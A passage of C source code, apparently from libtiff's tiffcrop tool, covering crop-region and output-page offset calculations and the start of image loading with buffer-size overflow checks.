width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } } else { switch (shift_width) { case 1: if (combineSeparateSamples8bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 2: if (combineSeparateSamples16bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 3: if (combineSeparateSamples24bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateSamples32bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; default: TIFFError ("readSeparateStripsIntoBuffer", "Unsupported bit depth: %d", bps); result = 0; break; } } if ((rows_processed + rps) > length) { rows_processed = length; rps = length - rows_processed; } else rows_processed += rps; } /* free any buffers allocated for each plane or scanline and * any temporary buffers */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; if (buff != NULL) _TIFFfree(buff); } return (result); } /* end readSeparateStripsIntoBuffer */ static int get_page_geometry (char *name, struct pagedef *page) { char *ptr; int n; for (ptr = name; *ptr; ptr++) *ptr = (char)tolower((int)*ptr); for (n = 0; n < MAX_PAPERNAMES; n++) { if (strcmp(name, PaperTable[n].name) == 0) { page->width = PaperTable[n].width; page->length = PaperTable[n].length; strncpy (page->name, PaperTable[n].name, 15); page->name[15] = '\0'; return (0); } } return (1); } static void initPageSetup (struct pagedef *page, struct pageseg *pagelist, struct buffinfo seg_buffs[]) { int i; strcpy (page->name, ""); page->mode = PAGE_MODE_NONE; page->res_unit = RESUNIT_NONE; page->hres = 0.0; page->vres = 0.0; page->width = 0.0; page->length = 0.0; page->hmargin = 0.0; page->vmargin = 0.0; page->rows = 0; page->cols = 0; page->orient = ORIENTATION_NONE; for (i = 0; i < MAX_SECTIONS; i++) { pagelist[i].x1 = (uint32)0; pagelist[i].x2 = (uint32)0; pagelist[i].y1 = (uint32)0; pagelist[i].y2 = (uint32)0; pagelist[i].buffsize = (uint32)0; pagelist[i].position = 0; pagelist[i].total = 0; } for (i = 0; i < MAX_OUTBUFFS; i++) { seg_buffs[i].size = 0; seg_buffs[i].buffer = NULL; } } static void initImageData (struct image_data *image) { image->xres = 0.0; image->yres = 0.0; image->width = 0; image->length = 0; image->res_unit = RESUNIT_NONE; image->bps = 0; image->spp = 0; image->planar = 0; image->photometric = 0; image->orientation = 0; image->compression = COMPRESSION_NONE; image->adjustments = 0; } static void initCropMasks (struct crop_mask *cps) { int i; cps->crop_mode = CROP_NONE; cps->res_unit = RESUNIT_NONE; cps->edge_ref = EDGE_TOP; cps->width = 0; cps->length = 0; for (i = 0; i < 4; i++) cps->margins[i] = 0.0; cps->bufftotal = (uint32)0; cps->combined_width = (uint32)0; cps->combined_length = (uint32)0; cps->rotation = (uint16)0; cps->photometric = INVERT_DATA_AND_TAG; cps->mirror = (uint16)0; cps->invert = (uint16)0; cps->zones = (uint32)0; cps->regions = (uint32)0; for (i = 0; i < MAX_REGIONS; i++) { cps->corners[i].X1 = 0.0; cps->corners[i].X2 = 0.0; cps->corners[i].Y1 = 0.0; cps->corners[i].Y2 = 0.0; cps->regionlist[i].x1 = 0; cps->regionlist[i].x2 = 0; cps->regionlist[i].y1 = 0; cps->regionlist[i].y2 = 0; cps->regionlist[i].width = 0; cps->regionlist[i].length = 0; cps->regionlist[i].buffsize = 0; cps->regionlist[i].buffptr = NULL; cps->zonelist[i].position = 0; cps->zonelist[i].total = 0; } cps->exp_mode = ONE_FILE_COMPOSITE; cps->img_mode = COMPOSITE_IMAGES; } static void initDumpOptions(struct dump_opts *dump) { dump->debug = 0; dump->format = DUMP_NONE; dump->level = 1; sprintf (dump->mode, "w"); memset (dump->infilename, '\0', PATH_MAX + 1); memset (dump->outfilename, '\0',PATH_MAX + 1); dump->infile = NULL; dump->outfile = NULL; } /* Compute pixel offsets into the image for margins and fixed regions */ static int computeInputPixelOffsets(struct crop_mask *crop, struct image_data *image, struct offset *off) { double scale; float xres, yres; /* Values for these offsets are in pixels from start of image, not bytes, * and are indexed from zero to width - 1 or length - 1 */ uint32 tmargin, bmargin, lmargin, rmargin; uint32 startx, endx; /* offsets of first and last columns to extract */ uint32 starty, endy; /* offsets of first and last row to extract */ uint32 width, length, crop_width, crop_length; uint32 i, max_width, max_length, zwidth, zlength, buffsize; uint32 x1, x2, y1, y2; if (image->res_unit != RESUNIT_INCH && image->res_unit != RESUNIT_CENTIMETER) { xres = 1.0; yres = 1.0; } else { if (((image->xres == 0) || (image->yres == 0)) && (crop->res_unit != RESUNIT_NONE) && ((crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH))) { TIFFError("computeInputPixelOffsets", "Cannot compute margins or fixed size sections without image resolution"); TIFFError("computeInputPixelOffsets", "Specify units in pixels and try again"); return (-1); } xres = image->xres; yres = image->yres; } /* Translate user units to image units */ scale = 1.0; switch (crop->res_unit) { case RESUNIT_CENTIMETER: if (image->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (image->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } if (crop->crop_mode & CROP_REGIONS) { max_width = max_length = 0; for (i = 0; i < crop->regions; i++) { if ((crop->res_unit == RESUNIT_INCH) || (crop->res_unit == RESUNIT_CENTIMETER)) { x1 = (uint32) (crop->corners[i].X1 * scale * xres); x2 = (uint32) (crop->corners[i].X2 * scale * xres); y1 = (uint32) (crop->corners[i].Y1 * scale * yres); y2 = (uint32) (crop->corners[i].Y2 * scale * yres); } else { x1 = (uint32) (crop->corners[i].X1); x2 = (uint32) (crop->corners[i].X2); y1 = (uint32) (crop->corners[i].Y1); y2 = (uint32) (crop->corners[i].Y2); } if (x1 < 1) crop->regionlist[i].x1 = 0; else crop->regionlist[i].x1 = (uint32) (x1 - 1); if (x2 > image->width - 1) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = (uint32) (x2 - 1); zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; if (y1 < 1) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = (uint32) (y1 - 1); if (y2 > image->length - 1) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = (uint32) (y2 - 1); zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; if (zwidth > max_width) max_width = zwidth; if (zlength > max_length) max_length = zlength; buffsize = (uint32) (((zwidth * image->bps * image->spp + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (crop->img_mode == COMPOSITE_IMAGES) { switch (crop->edge_ref) { case EDGE_LEFT: case EDGE_RIGHT: crop->combined_length = zlength; crop->combined_width += zwidth; break; case EDGE_BOTTOM: case EDGE_TOP: /* width from left, length from top */ default: crop->combined_width = zwidth; crop->combined_length += zlength; break; } } } return (0); } /* Convert crop margins into offsets into image * Margins are expressed as pixel rows and columns, not bytes */ if (crop->crop_mode & CROP_MARGINS) { if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { /* User has specified pixels as reference unit */ tmargin = (uint32)(crop->margins[0]); lmargin = (uint32)(crop->margins[1]); bmargin = (uint32)(crop->margins[2]); rmargin = (uint32)(crop->margins[3]); } else { /* inches or centimeters specified */ tmargin = (uint32)(crop->margins[0] * scale * yres); lmargin = (uint32)(crop->margins[1] * scale * xres); bmargin = (uint32)(crop->margins[2] * scale * yres); rmargin = (uint32)(crop->margins[3] * scale * xres); } if ((lmargin + rmargin) > image->width) { TIFFError("computeInputPixelOffsets", "Combined left and right margins exceed image width"); lmargin = (uint32) 0; rmargin = (uint32) 0; return (-1); } if ((tmargin + bmargin) > image->length) { TIFFError("computeInputPixelOffsets", "Combined top and bottom margins exceed image length"); tmargin = (uint32) 0; bmargin = (uint32) 0; return (-1); } } else { /* no margins requested */ tmargin = (uint32) 0; lmargin = (uint32) 0; bmargin = (uint32) 0; rmargin = (uint32) 0; } /* Width, height, and margins are expressed as pixel offsets into image */ if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { if (crop->crop_mode & CROP_WIDTH) width = (uint32)crop->width; else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)crop->length; else length = image->length - tmargin - bmargin; } else { if (crop->crop_mode & CROP_WIDTH) width = (uint32)(crop->width * scale * image->xres); else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)(crop->length * scale * image->yres); else length = image->length - tmargin - bmargin; } off->tmargin = tmargin; off->bmargin = bmargin; off->lmargin = lmargin; off->rmargin = rmargin; /* Calculate regions defined by margins, width, and length. * Coordinates expressed as 0 to imagewidth - 1, imagelength - 1, * since they are used to compute offsets into buffers */ switch (crop->edge_ref) { case EDGE_BOTTOM: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; endy = image->length - bmargin - 1; if ((endy - length) <= tmargin) starty = tmargin; else starty = endy - length + 1; break; case EDGE_RIGHT: endx = image->width - rmargin - 1; if ((endx - width) <= lmargin) startx = lmargin; else startx = endx - width + 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; case EDGE_TOP: /* width from left, length from top */ case EDGE_LEFT: default: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; } off->startx = startx; off->starty = starty; off->endx = endx; off->endy = endy; crop_width = endx - startx + 1; crop_length = endy - starty + 1; if (crop_width <= 0) { TIFFError("computeInputPixelOffsets", "Invalid left/right margins and /or image crop width requested"); return (-1); } if (crop_width > image->width) crop_width = image->width; if (crop_length <= 0) { TIFFError("computeInputPixelOffsets", "Invalid top/bottom margins and /or image crop length requested"); return (-1); } if (crop_length > image->length) crop_length = image->length; off->crop_width = crop_width; off->crop_length = crop_length; return (0); } /* end computeInputPixelOffsets */ /* * Translate crop options into pixel offsets for one or more regions of the image. * Options are applied in this order: margins, specific width and length, zones, * but all are optional. Margins are relative to each edge. Width, length and * zones are relative to the specified reference edge. Zones are expressed as * X:Y where X is the ordinal value in a set of Y equal sized portions. eg. * 2:3 would indicate the middle third of the region qualified by margins and * any explicit width and length specified. Regions are specified by coordinates * of the top left and lower right corners with range 1 to width or height. */ static int getCropOffsets(struct image_data *image, struct crop_mask *crop, struct dump_opts *dump) { struct offset offsets; int i; int32 test; uint32 seg, total, need_buff = 0; uint32 buffsize; uint32 zwidth, zlength; memset(&offsets, '\0', sizeof(struct offset)); crop->bufftotal = 0; crop->combined_width = (uint32)0; crop->combined_length = (uint32)0; crop->selections = 0; /* Compute pixel offsets if margins or fixed width or length specified */ if ((crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH)) { if (computeInputPixelOffsets(crop, image, &offsets)) { TIFFError ("getCropOffsets", "Unable to compute crop margins"); return (-1); } need_buff = TRUE; crop->selections = crop->regions; /* Regions are only calculated from top and left edges with no margins */ if (crop->crop_mode & CROP_REGIONS) return (0); } else { /* cropped area is the full image */ offsets.tmargin = 0; offsets.lmargin = 0; offsets.bmargin = 0; offsets.rmargin = 0; offsets.crop_width = image->width; offsets.crop_length = image->length; offsets.startx = 0; offsets.endx = image->width - 1; offsets.starty = 0; offsets.endy = image->length - 1; need_buff = FALSE; } if (dump->outfile != NULL) { dump_info (dump->outfile, dump->format, "", "Margins: Top: %d Left: %d Bottom: %d Right: %d", offsets.tmargin, offsets.lmargin, offsets.bmargin, offsets.rmargin); dump_info (dump->outfile, dump->format, "", "Crop region within margins: Adjusted Width: %6d Length: %6d", offsets.crop_width, offsets.crop_length); } if (!(crop->crop_mode & CROP_ZONES)) /* no crop zones requested */ { if (need_buff == FALSE) /* No margins or fixed width or length areas */ { crop->selections = 0; crop->combined_width = image->width; crop->combined_length = image->length; return (0); } else { /* Use one region for margins and fixed width or length areas * even though it was not formally declared as a region. */ crop->selections = 1; crop->zones = 1; crop->zonelist[0].total = 1; crop->zonelist[0].position = 1; } } else crop->selections = crop->zones; for (i = 0; i < crop->zones; i++) { seg = crop->zonelist[i].position; total = crop->zonelist[i].total; switch (crop->edge_ref) { case EDGE_LEFT: /* zones from left to right, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * 1.0 * (seg - 1) / total); test = (int32)offsets.startx + (int32)(offsets.crop_width * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_BOTTOM: /* width from left, zones from bottom to top */ zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; test = offsets.endy - (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = test + 1; test = offsets.endy - (offsets.crop_length * 1.0 * (seg - 1) / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; case EDGE_RIGHT: /* zones from right to left, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * (total - seg) * 1.0 / total); test = offsets.startx + (offsets.crop_width * (total - seg + 1) * 1.0 / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_TOP: /* width from left, zones from top to bottom */ default: zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; crop->regionlist[i].y1 = offsets.starty + (uint32)(offsets.crop_length * 1.0 * (seg - 1) / total); test = offsets.starty + (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test - 1; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; } /* end switch statement */ buffsize = (uint32) ((((zwidth * image->bps * image->spp) + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].width = (uint32) zwidth; crop->regionlist[i].length = (uint32) zlength; crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (dump->outfile != NULL) dump_info (dump->outfile, dump->format, "", "Zone %d, width: %4d, length: %4d, x1: %4d x2: %4d y1: %4d y2: %4d", i + 1, (uint32)zwidth, (uint32)zlength, crop->regionlist[i].x1, crop->regionlist[i].x2, crop->regionlist[i].y1, crop->regionlist[i].y2); } return (0); } /* end getCropOffsets */ static int computeOutputPixelOffsets (struct crop_mask *crop, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts* dump) { double scale; double pwidth, plength; /* Output page width and length in user units*/ uint32 iwidth, ilength; /* Input image width and length in pixels*/ uint32 owidth, olength; /* Output image width and length in pixels*/ uint32 orows, ocols; /* rows and cols for output */ uint32 hmargin, vmargin; /* Horizontal and vertical margins */ uint32 x1, x2, y1, y2, line_bytes; /* unsigned int orientation; */ uint32 i, j, k; scale = 1.0; if (page->res_unit == RESUNIT_NONE) page->res_unit = image->res_unit; switch (image->res_unit) { case RESUNIT_CENTIMETER: if (page->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (page->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } /* get width, height, resolutions of input image selection */ if (crop->combined_width > 0) iwidth = crop->combined_width; else iwidth = image->width; if (crop->combined_length > 0) ilength = crop->combined_length; else ilength = image->length; if (page->hres <= 1.0) page->hres = image->xres; if (page->vres <= 1.0) page->vres = image->yres; if ((page->hres < 1.0) || (page->vres < 1.0)) { TIFFError("computeOutputPixelOffsets", "Invalid horizontal or vertical resolution specified or read from input image"); return (1); } /* If no page sizes are being specified, we just use the input image size to * calculate maximum margins that can be taken from image. */ if (page->width <= 0) pwidth = iwidth; else pwidth = page->width; if (page->length <= 0) plength = ilength; else plength = page->length; if (dump->debug) { TIFFError("", "Page size: %s, Vres: %3.2f, Hres: %3.2f, " "Hmargin: %3.2f, Vmargin: %3.2f", page->name, page->vres, page->hres, page->hmargin, page->vmargin); TIFFError("", "Res_unit: %d, Scale: %3.2f, Page width: %3.2f, length: %3.2f", page->res_unit, scale, pwidth, plength); } /* compute margins at specified unit and resolution */ if (page->mode & PAGE_MODE_MARGINS) { if (page->res_unit == RESUNIT_INCH || page->res_unit == RESUNIT_CENTIMETER) { /* inches or centimeters specified */ hmargin = (uint32)(page->hmargin * scale * page->hres * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * page->vres * ((image->bps + 7)/ 8)); } else { /* Otherwise user has specified pixels as reference unit */ hmargin = (uint32)(page->hmargin * scale * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * ((image->bps + 7)/ 8)); } if ((hmargin * 2.0) > (pwidth * page->hres)) { TIFFError("computeOutputPixelOffsets", "Combined left and right margins exceed page width"); hmargin = (uint32) 0; return (-1); } if ((vmargin * 2.0) > (plength * page->vres)) { TIFFError("computeOutputPixelOffsets", "Combined top and bottom margins exceed page length"); vmargin = (uint32) 0; return (-1); } } else { hmargin = 0; vmargin = 0; } if (page->mode & PAGE_MODE_ROWSCOLS ) { /* Maybe someday but not for now */ if (page->mode & PAGE_MODE_MARGINS) TIFFError("computeOutputPixelOffsets", "Output margins cannot be specified with rows and columns"); owidth = TIFFhowmany(iwidth, page->cols); olength = TIFFhowmany(ilength, page->rows); } else { if (page->mode & PAGE_MODE_PAPERSIZE ) { owidth = (uint32)((pwidth * page->hres) - (hmargin * 2)); olength = (uint32)((plength * page->vres) - (vmargin * 2)); } else { owidth = (uint32)(iwidth - (hmargin * 2 * page->hres)); olength = (uint32)(ilength - (vmargin * 2 * page->vres)); } } if (owidth > iwidth) owidth = iwidth; if (olength > ilength) olength = ilength; /* Compute the number of pages required for Portrait or Landscape */ switch (page->orient) { case ORIENTATION_NONE: case ORIENTATION_PORTRAIT: ocols = TIFFhowmany(iwidth, owidth); orows = TIFFhowmany(ilength, olength); /* orientation = ORIENTATION_PORTRAIT; */ break; case ORIENTATION_LANDSCAPE: ocols = TIFFhowmany(iwidth, olength); orows = TIFFhowmany(ilength, owidth); x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ break; case ORIENTATION_AUTO: default: x1 = TIFFhowmany(iwidth, owidth); x2 = TIFFhowmany(ilength, olength); y1 = TIFFhowmany(iwidth, olength); y2 = TIFFhowmany(ilength, owidth); if ( (x1 * x2) < (y1 * y2)) { /* Portrait */ ocols = x1; orows = x2; /* orientation = ORIENTATION_PORTRAIT; */ } else { /* Landscape */ ocols = y1; orows = y2; x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ } } if (ocols < 1) ocols = 1; if (orows < 1) orows = 1; /* If user did not specify rows and cols, set them from calcuation */ if (page->rows < 1) page->rows = orows; if (page->cols < 1) page->cols = ocols; line_bytes = TIFFhowmany8(owidth * image->bps) * image->spp; if ((page->rows * page->cols) > MAX_SECTIONS) { TIFFError("computeOutputPixelOffsets", "Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections"); return (-1); } /* build the list of offsets for each output section */ for (k = 0, i = 0 && k <= MAX_SECTIONS; i < orows; i++) { y1 = (uint32)(olength * i); y2 = (uint32)(olength * (i + 1) - 1); if (y2 >= ilength) y2 = ilength - 1; for (j = 0; j < ocols; j++, k++) { x1 = (uint32)(owidth * j); x2 = (uint32)(owidth * (j + 1) - 1); if (x2 >= iwidth) x2 = iwidth - 1; sections[k].x1 = x1; sections[k].x2 = x2; sections[k].y1 = y1; sections[k].y2 = y2; sections[k].buffsize = line_bytes * olength; sections[k].position = k + 1; sections[k].total = orows * ocols; } } return (0); } /* end computeOutputPixelOffsets */ static int loadImage(TIFF* in, struct image_data *image, struct dump_opts *dump, unsigned char **read_ptr) { uint32 i; float xres = 0.0, yres = 0.0; uint32 nstrips = 0, ntiles = 0; uint16 planar = 0; uint16 bps = 0, spp = 0, res_unit = 0; uint16 orientation = 0; uint16 input_compression = 0, input_photometric = 0; uint16 subsampling_horiz, subsampling_vert; uint32 width = 0, length = 0; uint32 stsize = 0, tlsize = 0, buffsize = 0, scanlinesize = 0; uint32 tw = 0, tl = 0; /* Tile width and length */ uint32 tile_rowsize = 0; unsigned char *read_buff = NULL; unsigned char *new_buff = NULL; int readunit = 0; static uint32 prev_readsize = 0; TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); if (! TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) TIFFError("loadImage","Image lacks Photometric interpreation tag"); if (! TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width)) TIFFError("loadimage","Image lacks image width tag"); if(! TIFFGetField(in, TIFFTAG_IMAGELENGTH, &length)) TIFFError("loadimage","Image lacks image length tag"); TIFFGetFieldDefaulted(in, TIFFTAG_XRESOLUTION, &xres); TIFFGetFieldDefaulted(in, TIFFTAG_YRESOLUTION, &yres); if (!TIFFGetFieldDefaulted(in, TIFFTAG_RESOLUTIONUNIT, &res_unit)) res_unit = RESUNIT_INCH; if (!TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)) input_compression = COMPRESSION_NONE; #ifdef DEBUG2 char compressionid[16]; switch (input_compression) { case COMPRESSION_NONE: /* 1 dump mode */ strcpy (compressionid, "None/dump"); break; case COMPRESSION_CCITTRLE: /* 2 CCITT modified Huffman RLE */ strcpy (compressionid, "Huffman RLE"); break; case COMPRESSION_CCITTFAX3: /* 3 CCITT Group 3 fax encoding */ strcpy (compressionid, "Group3 Fax"); break; case COMPRESSION_CCITTFAX4: /* 4 CCITT Group 4 fax encoding */ strcpy (compressionid, "Group4 Fax"); break; case COMPRESSION_LZW: /* 5 Lempel-Ziv & Welch */ strcpy (compressionid, "LZW"); break; case COMPRESSION_OJPEG: /* 6 !6.0 JPEG */ strcpy (compressionid, "Old Jpeg"); break; case COMPRESSION_JPEG: /* 7 %JPEG DCT compression */ strcpy (compressionid, "New Jpeg"); break; case COMPRESSION_NEXT: /* 32766 NeXT 2-bit RLE */ strcpy (compressionid, "Next RLE"); break; case COMPRESSION_CCITTRLEW: /* 32771 #1 w/ word alignment */ strcpy (compressionid, "CITTRLEW"); break; case COMPRESSION_PACKBITS: /* 32773 Macintosh RLE */ strcpy (compressionid, "Mac Packbits"); break; case COMPRESSION_THUNDERSCAN: /* 32809 ThunderScan RLE */ strcpy (compressionid, "Thunderscan"); break; case COMPRESSION_IT8CTPAD: /* 32895 IT8 CT w/padding */ strcpy (compressionid, "IT8 padded"); break; case COMPRESSION_IT8LW: /* 32896 IT8 Linework RLE */ strcpy (compressionid, "IT8 RLE"); break; case COMPRESSION_IT8MP: /* 32897 IT8 Monochrome picture */ strcpy (compressionid, "IT8 mono"); break; case COMPRESSION_IT8BL: /* 32898 IT8 Binary line art */ strcpy (compressionid, "IT8 lineart"); break; case COMPRESSION_PIXARFILM: /* 32908 Pixar companded 10bit LZW */ strcpy (compressionid, "Pixar 10 bit"); break; case COMPRESSION_PIXARLOG: /* 32909 Pixar companded 11bit ZIP */ strcpy (compressionid, "Pixar 11bit"); break; case COMPRESSION_DEFLATE: /* 32946 Deflate compression */ strcpy (compressionid, "Deflate"); break; case COMPRESSION_ADOBE_DEFLATE: /* 8 Deflate compression */ strcpy (compressionid, "Adobe deflate"); break; default: strcpy (compressionid, "None/unknown"); break; } TIFFError("loadImage", "Input compression %s", compressionid); #endif scanlinesize = TIFFScanlineSize(in); image->bps = bps; image->spp = spp; image->planar = planar; image->width = width; image->length = length; image->xres = xres; image->yres = yres; image->res_unit = res_unit; image->compression = input_compression; image->photometric = input_photometric; #ifdef DEBUG2 char photometricid[12]; switch (input_photometric) { case PHOTOMETRIC_MINISWHITE: strcpy (photometricid, "MinIsWhite"); break; case PHOTOMETRIC_MINISBLACK: strcpy (photometricid, "MinIsBlack"); break; case PHOTOMETRIC_RGB: strcpy (photometricid, "RGB"); break; case PHOTOMETRIC_PALETTE: strcpy (photometricid, "Palette"); break; case PHOTOMETRIC_MASK: strcpy (photometricid, "Mask"); break; case PHOTOMETRIC_SEPARATED: strcpy (photometricid, "Separated"); break; case PHOTOMETRIC_YCBCR: strcpy (photometricid, "YCBCR"); break; case PHOTOMETRIC_CIELAB: strcpy (photometricid, "CIELab"); break; case PHOTOMETRIC_ICCLAB: strcpy (photometricid, "ICCLab"); break; case PHOTOMETRIC_ITULAB: strcpy (photometricid, "ITULab"); break; case PHOTOMETRIC_LOGL: strcpy (photometricid, "LogL"); break; case PHOTOMETRIC_LOGLUV: strcpy (photometricid, "LOGLuv"); break; default: strcpy (photometricid, "Unknown"); break; } TIFFError("loadImage", "Input photometric interpretation %s", photometricid); #endif image->orientation = orientation; switch (orientation) { case 0: case ORIENTATION_TOPLEFT: image->adjustments = 0; break; case ORIENTATION_TOPRIGHT: image->adjustments = MIRROR_HORIZ; break; case ORIENTATION_BOTRIGHT: image->adjustments = ROTATECW_180; break; case ORIENTATION_BOTLEFT: image->adjustments = MIRROR_VERT; break; case ORIENTATION_LEFTTOP: image->adjustments = MIRROR_VERT | ROTATECW_90; break; case ORIENTATION_RIGHTTOP: image->adjustments = ROTATECW_90; break; case ORIENTATION_RIGHTBOT: image->adjustments = MIRROR_VERT | ROTATECW_270; break; case ORIENTATION_LEFTBOT: image->adjustments = ROTATECW_270; break; default: image->adjustments = 0; image->orientation = ORIENTATION_TOPLEFT; } if ((bps == 0) || (spp == 0)) { TIFFError("loadImage", "Invalid samples per pixel (%d) or bits per sample (%d)", spp, bps); return (-1); } if (TIFFIsTiled(in)) { readunit = TILE; tlsize = TIFFTileSize(in); ntiles = TIFFNumberOfTiles(in); TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); tile_rowsize = TIFFTileRowSize(in); if (ntiles == 0 || tlsize == 0 || tile_rowsize == 0) { TIFFError("loadImage", "File appears to be tiled, but the number of tiles, tile size, or tile rowsize is zero."); exit(-1); } buffsize = tlsize * ntiles; if (tlsize != (buffsize / ntiles)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } if (buffsize < (uint32)(ntiles * tl * tile_rowsize)) { buffsize = ntiles * tl * tile_rowsize; if (ntiles != (buffsize / tl / tile_rowsize)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } #ifdef DEBUG2 TIFFError("loadImage", "Tilesize %u is too small, using ntiles * tilelength * tilerowsize %lu", tlsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Tilesize: %u, Number of Tiles: %u, Tile row size: %u", tlsize, ntiles, tile_rowsize); } else { uint32 buffsize_check; readunit = STRIP; TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); stsize = TIFFStripSize(in); nstrips = TIFFNumberOfStrips(in); if (nstrips == 0 || stsize == 0) { TIFFError("loadImage", "File appears to be striped, but the number of stipes or stripe size is zero."); exit(-1); } buffsize = stsize * nstrips; if (stsize != (buffsize / nstrips)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } buffsize_check = ((length * width * spp * bps) + 7); if (length != ((buffsize_check - 7) / width / spp / bps)) { TIFFError("loadImage", "Integer overflow detected."); exit(-1); } if (buffsize < (uint32) (((length * width * spp * bps) + 7) / 8)) { buffsize = ((length * width * spp * bps) + 7) / 8; #ifdef DEBUG2 